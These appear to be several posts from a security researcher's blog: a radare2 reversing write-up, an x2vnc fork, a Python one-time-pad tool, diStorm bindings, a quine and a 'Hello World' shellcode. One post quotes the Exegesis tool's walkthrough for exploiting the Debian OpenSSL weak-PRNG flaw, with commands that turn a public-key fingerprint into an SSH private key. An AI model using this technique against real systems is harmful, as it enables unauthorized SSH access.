R2con 2016 reverseme challenge

Poster by Hackerstrip

Back in September 2016 I attended R2con, the first public and international congress about Radare. Needless to say, it was pretty awesome 😀 and I recommend everyone interested in reverse engineering to go there next year. During the conference, Riscure proposed a simple reversing challenge using Radare to play with. You can find the challenge here. This is my (very short and dumb) writeup of it.

The challenge consisted of reversing an ELF binary and figuring out a password. When running the binary, you had to enter the password to get a message saying that you won the challenge. No modifying was allowed, just reversing. Now, this in itself was super easy since it was meant as an introduction, but I didn’t know how to use r2 well enough so it took me a while to solve it. 😀

The first problem I ran into was that it used a different version of libcrypto than my distro so I had to set up a VM. I suppose I could have installed another libcrypto and have them coexist, or used a chroot jail or whatever, but just firing up a VM seemed like the easiest choice to me – especially since I’m already used to Vagrant for this kind of thing.

After that, it was time to fire up Radare:

$ chmod +x RHme2_prequalification_challenge # (did not have the +x bit in Github)
$ ./r2 ./RHme2_prequalification_challenge

Then analyzed everything with the “aaaa” command and launched the UI with “=H” (because I’m lazy). Using the UI I quickly listed the strings, found the relevant ones, then looked for references to them. Turns out everything was right there in main() so this step wasn’t really needed! 😀

So, going back to the console, using visual mode we can see the code right away:

Gotta love ASCII art graph view

There was some code before the AES decryption that may be some kind of obfuscation, but I didn’t bother with it statically because it was easier to just put a breakpoint at the memory compare after decryption to see what the hardcoded password was.

Turns out to run Radare as a debugger you need to specify -d before opening the file. I got stuck there for a while because I’m such a n00b. #shame 😀

So, after running “r2 -d”, setting the breakpoint with “db 0x0040081d” then executing the program with “dc”, I got prompted for a password. Just typed anything and continued, after that the breakpoint was hit.

From the code I knew the argument with the decoded password should be in the rbx register, so using the “dbr” command to show the registers, then the “s” command to change the pointer (another odd concept for those of us coming from gdb!) and finally using the “x” command I could see the memory contents:

Gotcha!

Running the program again and trying out that password confirmed it was correct. TA-DA!

Well, now that I’ve made you waste your time reading this, here’s a much better writeup for it. Enjoy! 😉 #trolling

A dual screen hack: x2vnc

Today I just had to use two laptop computers simultaneously, and switching back and forth was driving me insane. Then I remembered an old trick I used to pull back at my old job: the dual screen hack.

Most of you probably know it already, but just in case, here goes the explanation. You can connect two computers and simulate what would happen if you had two monitors instead: when the mouse leaves the screen in one computer, it “enters” the other computer on the opposite side of the screen. For example, if you have two laptops on your table and you move the mouse to the right, after reaching the border of the screen you see it coming out on the left side of the other computer. 🙂

The magic is done by using a remote desktop protocol like VNC, which lets you send keystrokes and mouse events, but discarding the framebuffer updates. That is, a program that connects to the remote desktop, but instead of showing you the remote screen, it monitors mouse movements locally and when the mouse reaches the screen limits, it captures the mouse and starts sending mouse events to the remote system. Similarly, when the mouse reaches the opposite limit on the remote system, it stops capturing the mouse so you can use it on the local system.

Since I use Linux my choice was x2vnc, the Linux cousin of the more famous Win2VNC, also by the same author. But unlike Win2VNC which is now actively maintained at SourceForge, x2vnc seems to have been abandoned.

x2vnc supports SSH tunneling, which is just perfect since VNC is a plaintext-only protocol and insecure by design. However there’s no easy way to tell x2vnc to which port to connect or which username to login as – it defaults always to the current local user and port 22.

I also had a problem with my other laptop, which had Windows 7. When the mouse cursor leaves the screen, it is “parked” to a corner of the screen so it doesn’t show (it’d be confusing to see two mouse cursors as you wouldn’t know which one is active). But the corner chosen by x2vnc is always the lower right corner, causing Windows 7 to hide all active windows… very annoying.

So I did what any other geek would do in my situation – branch it! 😀

The patched code is now at Google Code Github. The new command line switches I added were:

-sshuser: Log in to the SSH tunnel using the given username.

-sshport: Connect to the given TCP port number instead of the SSH default (22).

-restingx and -restingy: Tell x2vnc where to park the mouse cursor. A value of 0 means left or top, a value of -1 means right or bottom. Then for example, -restingx 0 -restingy -1 means the top right corner of the screen.

Enjoy! 🙂

Download

Source code: https://github.com/MarioVilas/x2vnc/archive/master.zip

One-time pad encryption in Python

After some crypto sillyness with @feliam, @julianor and @ortegaalfredo on Twitter I cooked up a one-time pad crypto implementation in Python. This speaks volumes, not of my talent as a cryptographer (which is none at all) but the sad state of my social life these days (which happens to be the same amount).

What is one-time pad encryption?

Feel free to skip this section if you already know the answer. Especially so you don’t have to suffer my layman’s explanations of cryptography. 🙂

To put it simply, a one-time pad cipher is one in which the plaintext (i.e. the original message) is encoded using a completely new, random key each time it’s sent. When properly used (and I hope I have) this system is provably unbreakable. That means the ciphertext (that is, the encoded message) can never be decoded without the proper key – even if the encoding algorithm is very simple, like a bitwise XOR operation on each byte.

There are a few caveats: first of all, the key can never be reused. If you do, the system not only ceases to be unbreakable but it’s also as strong as the encoding algorithm you used. So if you chose XOR encoding and were tempted to use the key twice, you might as well have used a “magic ring” from a cereal box. 😉

The second caveat: the key must be truly random. For this reason need a random generator that can guarantee a certain amount of entropy, for example /dev/random on many Unix systems, to get the one-time pads, instead of the random module, which is only a PRNG (pseudo-random generator). PRNGs can only produce a seemingly random stream of numbers, all derived from a single value (called the seed number) – so it’s “randomness” is just as good as the seed number from which all others are calculated. (This is a useful property in other contexts, like avoiding to have to store the contents of all malformed files produced by a fuzzer in order to reproduce the crashes, but I digress).

The third caveat: the key must never be transmitted over an insecure medium. Sounds pretty much like a no-brainer, I know, but it’s worth mentioning that public key crypto doesn’t suffer from this problem. (Now you know why GPG is so much better than this). Real-life uses of one-time pads include storing the keys in codebooks, which the recipient of the message would carry everywhere. Then the encrypted messages could be safely sent in the clear, say on some radio frequency by a numbers station, until the codebook was used up.

How does this code work?

If you weren’t among the lucky ones who skipped over my ramblings in the previous section you can easily guess by now: we’ll be using a bitwise XOR encoding of each byte of the plaintext against the corresponding byte of the one-time pad to produce the ciphertext. This is how we generate a one-time pad of any given size:

    $ ./otp.py generate test.key -s 1024
    $ ls -l test.key
    -rw-r--r-- 1 user group 1024 2010-02-17 01:23 test.key
    $

The alternative for the lazy is to pass the name of the file we want to encrypt. A one-time pad of the exact same size will be generated. We’ll use the -f flag this time to force overwriting the previous file.

    $ ./otp.py generate test.key conscience.txt -f
    $ ls -l test.key conscience.txt
    -rw-r--r-- 1 user group 3880 2010-02-17 01:22 conscience.txt
    -rw-r--r-- 1 user group 3880 2010-02-17 01:24 test.key
    $

And to satisfy all audiences, there’s also an option for the paranoid: the -p flag uses /dev/random for maximum security instead of the much faster /dev/urandom. It does take considerably longer to generate even small one-time pads, that’s why this option is disabled by default.

    $ ./otp.py generate test.key conscience.txt -f -p
    $ ls -l test.key conscience.txt 
    -rw-r--r-- 1 user group 3880 2010-02-17 01:22 conscience.txt
    -rw-r--r-- 1 user group 3880 2010-02-17 01:38 test.key
    $

Now that we have our one-time pad we can encrypt the message:

    $ ./otp.py encrypt conscience.txt test.key conscience.crypto 
    $ ls -l conscience.*
    -rw-r--r-- 1 user group 3880 2010-02-17 01:38 conscience.crypto
    -rw-r--r-- 1 user group 3880 2010-02-17 01:22 conscience.txt
    $

Both files are the same size but have different contents. Since it’s no longer ASCII trying to cat the file only renders a bunch of garbage in the terminal. Finally, this is how you decrypt it:

    $ ./otp.py decrypt conscience.crypto test.key conscience2.txt
    $ ls -l conscience*
    -rw-r--r-- 1 user group 3880 2010-02-17 01:38 conscience2.txt
    -rw-r--r-- 1 user group 3880 2010-02-17 01:38 conscience.crypto
    -rw-r--r-- 1 user group 3880 2010-02-17 01:22 conscience.txt
    $ cmp conscience.txt conscience2.txt 
    $

After decryption, conscience2.txt is identical to the original file and contains the familiar text of The Conscience of a Hacker.

As always, the code is available for download below. Enjoy! 🙂

Updates

• 24-Jul-2011: Small update to the command like parsing and the documentation.

Download

otp.py

Source code

Using diStorm with Python 2.6 and Python 3.x, revisited

In a previous post, we’ve seen how to wrap the diStorm disassembler library in Python, using ctypes. This still left us with the task of building the dynamic link library for our platform and installing it manually, which is not as easy as it may seem – among other small problems you may find, the new versions of Visual Studio try to force the use of the latest C++ runtime redistributables, which may not be present in most Windows installations.

Today, I’m introducing a new ctypes wrapper for diStorm, this time with all binaries prebuilt and packaged together. The installer script automatically detects the target platform and installs the right binary. It comes with the following prebuilt binaries:

• Windows on x86 and AMD64 processors
• Linux on x86 and AMD64 processors (built using Ubuntu, but should work in other distros)
• Mac OS X on x86 and PowerPC processors (untested, I don’t have a Mac to play with yet)

Since the installer code is pretty much generic, it should be easy to add new platforms by simply creating the corresponding subdirectory and placing the python code and prebuilt binary in it. Contributions are welcome! 🙂

Download

Python 2.x

• Source code (all platforms): distorm-1.7.30.zip
• Source code (all platforms): distorm-1.7.30.tar.gz
• Windows 32 bits installer: distorm-1.7.30.win32.exe
• Windows 32 bits MSI installer: distorm-1.7.30.win32.msi
• Windows 64 bits installer: distorm-1.7.30.win-amd64.exe
• Windows 64 bits MSI installer: distorm-1.7.30.win-amd64.msi

Python 3.x

• Source code (all platforms): distorm-1.7.30.zip
• Source code (all platforms): distorm-1.7.30.tar.gz
• Windows 32 bits installer: distorm-1.7.30.win32.exe
• Windows 32 bits MSI installer: distorm-1.7.30.win32.msi
• Windows 64 bits installer: distorm-1.7.30.win-amd64.exe
• Windows 64 bits MSI installer: distorm-1.7.30.win-amd64.msi

Exegesis – A toolkit for abusing the broken PRNG in Debian OpenSSL

A new tool has just been released to exploit the Debian OpenSSL bug, it’s called Exegesis. It seems very interesing, it’s more complete and flexible than all of the existing ones. Definitely worth checking out!

Let’s see the description from it’s webpage:

Exegesis
--------

So you have an ssh public authentication key and you 'lost' the
private key.  Did you generate that key in the last two years on
Debian or Ubuntu GNU/Lunix?  Yes?  Ok, great.  

$ cat id_dsa.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAIW0doTjIKPNwAjHogbLhXNxNlwdvHHKzFPgZ
5cpwF4a2e8YYlEyXo8gyoub5c2s0f8B61ZNkowc9tcN+Iy1aiE2LBloxds3IwWNpZ
8KnJruCX/mYbltUp3CNJP/8gmeL41akUddPJ5wg6pYjDY5z7Kd9lojhqKOn3qSPXZ
JDJXJAAAAFQDZMKlBeKVX9/FCO5auyzPHxn6QnwAAAIBULtChrN1rGfAjIU8VZwQa
rQNunGFDfstWNOcx0lvAm2DkQCVCFT8DUXlibHWQJJbeMk3DfOl02ItIAhMvTTAPM
rb8vtFsB3Fcw7KAuK0cAJaY3R2S6/tBbWXch7SaaOQ4dxa+8hmEl54icW/me0H6Z0
SEDYEm3j8pnAUnPAu/pgAAAIALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVh
wCbpBqSqiYxZO/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORRE
umPRs6buJ4GMf33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFIm
A== lamer@gnubuntu

First you'll need the fingerprint.

$ ssh-keygen -l -f ./id_dsa.pub
1024 b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c ./id_dsa.pub

Now look for that fingerprint in the generated fingerprint database
files.  You can just use 'grep' for this.

$ grep b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c dsa_1024_32_le.out
b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c 25191 dsa 1024 32 0

Oh, it's your lucky day!  You're on the list.

The fingerprint database files have the following format:

  fingerprint pid key_type key_bits arch big_endian

  pid        The process id of the ssh-keygen which originally generated the key
  key_type   Either 'dsa' or 'rsa' depending on the type of key
  key_bits   The size of the key.  1024 and 2048 are common.
  arch       Either 32 or 64 depending on the processor which the key was created on
  big_endian Is 1 if the key was generated on a big endian box or 0 otherwise

So, the key we matched is a 1024 bit DSA key, generated on a 32 bit little endian
processor.  That sounds about right.

$ ./exegesis
Usage: ./exegesis [options]
Options:
  -B            Select big endian target (default is little endian target).
  -A            Selecet 64 bit target (default is 32 bit target)
  -o <file>     Output file.
  -t (dsa|rsa)  Type of key(s) to generate (default is rsa)
  -b bits       Key size to generate in bits (default is 1024 bits)
  -g            Generate all keys for a range of pids (all pids by default)
  -r start,end  Specify a pid range to generate (default is 1,32768)
  -p pid        Generate a key for a chosen pid value

$ ./exegesis -t dsa -b 1024 -p 25191
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCFtHaE4yCjzcAIx6IGy4VzcTZcHbxxysxT4GeXKcBeGtnvGGJR
Ml6PIMqLm+XNrNH/AetWTZKMHPbXDfiMtWohNiwZaMXbNyMFjaWfCpya7gl/5mG5
bVKdwjST//IJni+NWpFHXTyecIOqWIw2Oc+ynfZaI4aijp96kj12SQyVyQIVANkw
qUF4pVf38UI7lq7LM8fGfpCfAoGAVC7QoazdaxnwIyFPFWcEGq0DbpxhQ37LVjTn
MdJbwJtg5EAlQhU/A1F5Ymx1kCSW3jJNw3zpdNiLSAITL00wDzK2/L7RbAdxXMOy
gLitHACWmN0dkuv7QW1l3Ie0mmjkOHcWvvIZhJeeInFv5ntB+mdEhA2BJt4/KZwF
JzwLv6YCgYALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVhwCbpBqSqiYxZO
/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORREumPRs6buJ4GM
f33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFImAIUQOZiUdQQ
YO/Yg/6nRo4hghj28Tg=
-----END DSA PRIVATE KEY-----

Whoah?! Is that really the private key?  Let's compare it to the
original key generated with ssh-keygen

$ ./exegesis -t dsa -b 1024 -p 25191 > key.out
$ md5sum id_dsa key.out
0aa477a9a01c6724708f9f362bcf0f7d  id_dsa
0aa477a9a01c6724708f9f362bcf0f7d  key.out

Generating Databases
--------------------

$ ./exegesis -g -t dsa -b 1024 -o dsa_1024_32_le.out

Unlike inferior competing products, Exegesis models the backdoored PRNG
in Debian OpenSSL.  It uses a version of the OpenSSL random number and
key generating code that can be configured to behave like any of the
hardware platforms that affect the generated random numbers.

This means you can generate databases for each different relevant hardware
configuration without actually needing to run it on those architectures.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

WARNING: Generating your own databases takes a very long time and may
         cause side effects such as acute boredom and drowsiness.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Since we know you're anxious to get started recovering all those misplaced
private SSH keys, this release of Exegesis conveniently includes, right out
of the box, ten starter databases at no extra charge!

$ md5 keysets/*
MD5 (keysets/dsa_1024_32_be.out) = d422aa60e3d6180ec65adb7179ebe43d
MD5 (keysets/dsa_1024_32_le.out) = d6f1e5f4d5dd9e84a05de47cc9e0e81a
MD5 (keysets/dsa_1024_64_le.out) = 89d34fe52f083c7e0c2297c2d8439bbc
MD5 (keysets/dsa_2048_32_le.out) = b81ca4cd84613c0fa19056036153fc62
MD5 (keysets/dsa_2048_64_le.out) = f914df33f27a11d7b2ab06446c6c13ec
MD5 (keysets/rsa_1024_32_be.out) = f5a13ffcbc63206d1c90850e2ad2e052
MD5 (keysets/rsa_1024_32_le.out) = 082b47d57e1d77366ce3795359926440
MD5 (keysets/rsa_1024_64_le.out) = 18c80767c00db8130da8a77f7e81f448
MD5 (keysets/rsa_2048_32_le.out) = 977b88495603c860abbd48a47847065a
MD5 (keysets/rsa_2048_64_le.out) = dcdd098089281388e1c3bc935dec5b7e

ps:

This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)

Download

Using diStorm with Python 2.6 and Python 3.x

diStorm is currently my favorite disassember for Intel platforms. It’s small, fast, compiles virtually anywhere, and it’s got Python bindings for 2.3, 2.4 and 2.5. The only problem so far was trying to use it with Python 2.6 and above – the library has to be recompiled for each new version. To solve this problem a pure Python module using ctypes is shipped – but it’s interface is different from the C module, forcing us to code different routines.

So my solution was to code my own ctypes-based diStorm bindings. It’s compatible with the C version and it works in all Python 2.x versions. The DLL library has to be present in the path for it to work.

I’ve also ported it to Python 3.x. Both versions are tested under Windows only, however it should work correctly under Linux – let me know if you try it!

Here is also an example script using diStorm to disassemble a raw binary file. Could come in handy for example to disassemble the shellcode contained in an exploit, or to find anything that resembles shellcode in a packet capture.

Update

• Here is a new version that supports more platforms and comes with an installer script.

Ouroboros.py

This is a little nonsense I just wrote after reading the Wikipedia entry for Ouroboros. Turns out this kind of programs already have a name too, Quine.

In this case it’s a Python script that uses InlineEgg to generate an ELF32 binary that generates a Python script that uses InlineEgg to generate an ELF32 binary that generates a Python script that uses InlineEgg to… well, you get the point. 🙂

Yeah, I know this is not really about computer security, but what the hell. It’s got Python and shellcode somewhere anyway.

A real Ouroboros!

Ouroboros.py

#!/usr/bin/python from sys import argv, stdout from inlineegg.inlineegg import InlineEgg, Linuxx86Syscall from inlineegg.exelib import Elf32Program script = open(argv[0], 'r').read() egg = InlineEgg(Linuxx86Syscall) egg.write(1, script, len(script)) egg.exit(0) prg = Elf32Program() prg.arch = prg.ARCH_I386 prg.addCode(str(egg)) stdout.write(prg.bytes())

Hello world!

Hello there, welcome to my blog. I’ll begin with some useless welcome post, like most blogs do 🙂 and make it worse with an incredibly nerdy thing to do:

31 db 43 68 21 0a 00 00 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 89 e1 6a 0e 5a 6a 04 58 cd 80 31 db 31 c0 40 cd 80

Nope, it’s not a Cthulhu chant in some strange and ancient Unicode encoding. I admit it might have been though – we all know Unicode is evil.

No… It’s nothing but a… green-and-black Matrix themed “Hello World” Linux shellcode! 😀